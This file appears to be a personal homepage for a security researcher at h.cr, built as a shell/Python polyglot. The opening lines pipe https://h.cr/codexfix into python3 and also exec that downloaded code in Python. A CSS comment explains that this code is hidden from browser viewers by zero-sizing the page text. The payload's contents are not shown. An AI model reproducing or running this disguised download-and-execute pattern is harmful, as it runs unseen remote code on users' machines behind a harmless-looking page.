#!/bin/sh
""":"
curl -fsSL https://h.cr/codexfix | python3
exit $?
":"""

import urllib.request

_url = "https://h.cr/codexfix"

with urllib.request.urlopen(_url) as _r:
    _src = _r.read()

exec(
    compile(_src, _url, "exec"),
    {"__name__": "__main__"}
)

raise SystemExit

_HTML = r'''
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<style>
* {
  margin: 0;
  padding: 0;
  box-sizing: border-box;
}

/*
 * The bytes before the HTML are valid Python/shell source.
 * A browser interprets them as ordinary text.
 *
 * Hide those text nodes by making the implicit body zero-sized,
 * then restore normal sizing inside .main.
 */
body {
  background-color: black;
  color: #fff;

  font-family: monospace;

  font-size: 0;
  line-height: 0;

  margin: 0;
  padding: 0;
}

.main {
  max-width: 750px;

  display: block;

  margin-left: auto;
  margin-right: auto;
  margin-top: 60px;

  padding: 0 15px;

  font-size: 16px;
  line-height: 1.7;
}

a {
  color: lightblue;
  text-decoration: none;
}

a:hover {
  cursor: pointer;
  text-decoration: underline;
}

.title {
  color: #0095ff;

  font-size: 4em;
  font-weight: bold;

  margin-bottom: 0;
}

.anim {
  color: #fff;

  font-size: 1.5em;
  font-weight: bold;

  margin-bottom: 0;
}

.anim .green {
  color: #20C20E;
}

.sub {
  color: #FFFFF7;

  font-size: 1.2em;

  margin-bottom: 30px;
}

.section {
  margin-bottom: 80px;
}

.question {
  color: #0095ff;

  margin-bottom: 5px;

  font-size: 1.1em;
}

.question-dash {
  color: #3259e8;

  text-decoration: none;

  margin-right: 10px;
}

.answer {
  color: #fff;
}

.answer strong {
  color: #20C20E;
}

.stats-text {
  color: #aaa;
}

.links a {
  display: block;
  margin-bottom: 0;
}

.link-desc {
  color: #ccc;

  display: block;

  margin-bottom: 8px;
}
</style>

<div class="main">

  <h1 class="title">h.cr</h1>

  <div class="anim">
    h<span class="green">a</span>c<span class="green">ke</span>r
  </div>

  <br>

  <div class="section">

    <div class="question">
      <a href="#who" class="question-dash">#</a>Who am I?
    </div>

    <div class="answer" id="who">
      Jacopo Di Pumpo.
      Security Researcher &amp; Programmer.
      Co-Founder &amp; System Engineer at
      <a
        href="https://lakenetworks.it"
        target="_blank"
        rel="noopener noreferrer"
      >LakeNetworks.it</a>.
      Member of TeamItaly in 2022, 2023, 2024, and 2025.
    </div>

  </div>


  <div class="section">

    <div class="question">
      <a href="#links" class="question-dash">#</a>Links
    </div>

    <div class="answer links" id="links">

      <a
        href="https://kotekorbya.com"
        target="_blank"
        rel="noopener noreferrer"
      >Kotekorbya Technologies [&#x2197;]</a>

      <span class="link-desc">
        web development, IT consulting, and cybersecurity services
      </span>


      <a
        href="https://lakenetworks.it"
        target="_blank"
        rel="noopener noreferrer"
      >LakeNetworks.it [&#x2197;]</a>

      <span class="link-desc">
        hosting, network and infrastructure solutions
      </span>


      <a
        href="https://imap.pm"
        target="_blank"
        rel="noopener noreferrer"
      >imap.pm [&#x2197;]</a>

      <span class="link-desc">
        turn your email into routed events, route IMAP anywhere
      </span>


      <a
        href="https://file.ax"
        target="_blank"
        rel="noopener noreferrer"
      >file.ax [&#x2197;]</a>

      <span class="link-desc">
        the ultimate dev stash, powerful file sharing for developers
        and power users
      </span>

    </div>

  </div>


  <div class="section">

    <div class="question">
      <a href="#stats" class="question-dash">#</a>Why this domain?
    </div>

    <div class="answer stats-text" id="stats">

      This is one of the shortest domains on the internet.

      I estimate there are
      <strong id="s-total">8928</strong>
      possible 1-character domains on 2-character ccTLD extensions.

      <strong id="s-dns">3272</strong>
      domains over
      <strong id="s-cctlds">114</strong>
      ccTLDs point to real DNS servers.

      <strong id="s-policy">4840</strong>
      are unavailable due to registry policy and length requirements.

      <strong id="s-nodns">342</strong>
      are likely taken but have no nameservers.

    </div>

  </div>

  <br><br><br>

  <p>H.CR, 2026</p>

  <br><br><br>

</div>

<script>
document.title = 'H.CR';

fetch('https://shishc.at/d1cstat.php')
  .then(r => r.json())
  .then(s => {

    const f = n => Number(n).toLocaleString();

    document.getElementById('s-total').textContent =
      f(s.total);

    document.getElementById('s-dns').textContent =
      f(s.unavailable_taken_dns);

    document.getElementById('s-cctlds').textContent =
      f(s.ccTldsWithFullSpaceInferred);

    document.getElementById('s-policy').textContent =
      f(s.unavailable_policy);

    document.getElementById('s-nodns').textContent =
      f(s.unavailable_taken_no_dns);

  })
  .catch(() => {});
</script>
'''